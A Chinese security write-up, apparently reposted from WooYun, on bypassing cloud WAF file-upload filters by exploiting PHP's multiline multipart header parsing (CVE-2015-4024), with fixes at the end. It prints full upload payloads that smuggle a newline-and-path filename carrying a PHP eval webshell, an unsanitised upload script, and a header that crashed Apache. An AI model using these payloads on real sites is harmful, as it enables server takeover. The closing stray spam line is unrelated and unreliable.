<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/web/11837

            0x00 背景介紹


            今天我們想從2015.04.03的一個PHP遠程dos漏洞(CVE-2015-4024)說起。技術細節見如下鏈接,中文版:http://drops.wooyun.org/papers/6077,英文版 :https://bugs.php.net/bug.php?id=69364。因為php解析body part的header時進行字符串拼接,而拼接過程重復拷貝字符導致DOS。事實上該漏洞還有其他非dos的利用價值,其中之一,就是繞過當前各種云WAF的文件上傳防御策略。

            目前國內外流行的云WAF廠商有如百度云加速,360網站衛士,加速樂,云盾等。因為PHP遠程dos漏洞及PHP官方修復方案的特點,我們成功利用該漏洞繞過了當前主流WAF的文件上傳防御,例如百度云加速、360網站衛士、知道創于加速樂、安全狗。

            接下來,我們以PHP為例,詳細解析我們的繞過方法。

            0x01 繞過WAF的原理


            根據PHP DOS漏洞原理,在multipart_buffer_headers函數解析header對應value時,value值存在n行。每行的字符串以空白符開頭或不存字符':',都觸發以下合并value的代碼塊。那么解析header的value就要執行(n-1)次合并value的代碼塊,從而導致DOS。

            #!php
            prev_len= strlen(prev_entry.value);
            ?????cur_len= strlen(line);
            ?
            ?????entry.value= emalloc(prev_len + cur_len + 1); //1次分片內存
            ?????memcpy(entry.value,prev_entry.value, prev_len); //1次拷貝
            ?????memcpy(entry.value+ prev_len, line, cur_len);?? //1次拷貝
            ?????entry.value[cur_len+ prev_len] = '\0';
            ?
            ?????entry.key= estrdup(prev_entry.key);
            ?
            ?????zend_llist_remove_tail(header);//1次內存釋放
            

            而PHP官方修復方案,在進行合并時,避免重復拷貝,從而避免DOS。繞過WAF的關鍵在于,PHP multipart_buffer_headers函數解析header對應value時,value值存在多行。每行的字符串以空白符開頭或不存字符':',將進行合并。而WAF在解析文件上傳的文件名時,沒有考慮協議兼容,不進行多行合并,就可以被繞過。

            根據原理構造繞過WAF文件上傳防御的payload,WAF解析到的文件名為”test3.jpg”,而PHP解析到的文件名是“test3.jpg\nf/shell.php”,因為”/”是目錄分隔符,上傳的文件名變為shell.php。以下是繞過paylaod、測試腳本、paylaod進行文件上傳的效果圖。

            WAF繞過payload:

            #!php
            ------WebKitFormBoundaryx7V4AhipWn8ig52y
            Content-Disposition: form-data; name="file"; filename="test3.jpg\nsf/shell.php
            Content-Type: application/octet-stream
            
            <?php eval($_GET['c'])?>
            ------WebKitFormBoundaryx7V4AhipWn8ig52y
            

            文件上傳功能測試腳:

            #!php
            <?php
                     $name = $_FILES['file']['name'];
                    echo $name;
                    echo "\n";
                    move_uploaded_file($_FILES['file']['tmp_name'] , '/usr/local/nginx/html/upload/'.$_FILES['file']['name']);
                    echo "upload success! ".$_FILES['file']['name'];
                    echo "\n";
                    echo strlen($_FILES['file']['name']);
            ?>
            

            Payload能夠正常上傳

            p1

            0x02 繞過WAF實戰


            筆者通過搭建自己的測試站,接入360網站衛士和加速樂,驗證繞過WAF文件上傳防御的方法。

            2.1 繞過360網站衛士

            步驟1,驗證網站已被360網站衛士防御,攔截了直接上傳PHP文件的請求。

            p2

            步驟2:成功繞過360網站衛士,上傳shell成功,文件是apo.php。在該請求中,有沒有Content-Type不影響繞過。

            p3

            2.2 繞過知道創宇加速樂

            步驟一:驗證網站被加速樂保護,攔截了直接上傳PHP文件的請求。

            p4

            步驟二:

            成功繞過加速樂,上傳shell,文件是syt.php。

            p5

            2.3 繞過百度云加速

            百度云加速與CloudFlare,從百度勻加速攔截頁面可以看出使用的是CloudFlare. 但是估計有本地化,百度云加速應該是百度和CloudFlare共同產物吧。測試百度沒有搭建自己的測試環境,找了個接入了百度云加速的站進行測試。

            步驟一:驗證網站被百度云加速保護,攔截了直接上傳PHP文件的請求。

            p6

            步驟二:成功繞過云加速

            p7

            2.4 安全狗的測試

            用該方法測試安全狗的文件上傳,

            #!bash
            Content-Disposition: form-data; name="file"; filename="2.php
            aa:
            Content-Type: image/jpeg
            

            php與aa這間的是%0a,處理請求的Apache進程直接崩潰。感覺可以溢出,沒有深入。

            2.5 CloudFlare的測試

            為了測試能否繞過國外版的CloudFlare,特意買了它的服務。結果,在規則全開的情況下,競然不攔截文件上傳。

            p8

            p9

            2.6 Amazon WAF

            亞馬遜的WAF沒有規則,所有規則需要用戶配置。在配置的選項里,沒有文件上傳的選項,所以也就沒有繞過的說法。國內WAF和國外WAF的區別挺大,為什么這么設計還是值得深思。

            p10

            我們還繞過了其他WAF,這里不一一列舉。

            0x03 擴展—更多的工作


            3.1 分析filename其他字符的繞過

            同理,我們發現除了雙引號外,使用單引號也能繞過WAF的防御,并實現文件上傳。

            #!php
            ------WebKitFormBoundaryx7V4AhipWn8ig52y
            Content-Disposition: form-data; name="file"; filename='test3.jpg\nsf/shell.php
            Content-Type: application/octet-stream
            
            <?php eval($_GET['c'])?>
            ------WebKitFormBoundaryx7V4AhipWn8ig52y
            

            3.2 分析其他應用腳本語言

            我們也發現jsp解析也有自己的特點,同時可被用于繞過WAF。暫時未測試asp,aspx,python等常用的WEB應用腳本語言。

            0x04 修復方案


            4.1 修復方案一

            解析文件上傳請求時,如果發現請求不符合協議規范,則拒絕請求。可能會產生誤攔截,需要評估誤攔截的影響范圍。

            4.2 修復方案二

            兼容php的文件解析方式,解析文件名時,以單引號或雙引號開頭,并且對應的單引號或雙引號閉合。

            0x05 總結


            本文通過Review PHP遠程dos漏洞(CVE-2015-4024),并利用該特性繞過現有WAF的文件上傳防御,成功上傳shell。 更重要的價值,提供給我們一個繞過WAF的新思路,一種研究新方向:利用后端應用腳本與WAF行為的差異繞過WAF的防御。總的來說,一款優秀的WAF應該能夠處理兼容WEB應用容器、標準協議、web服務器這間的差異。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线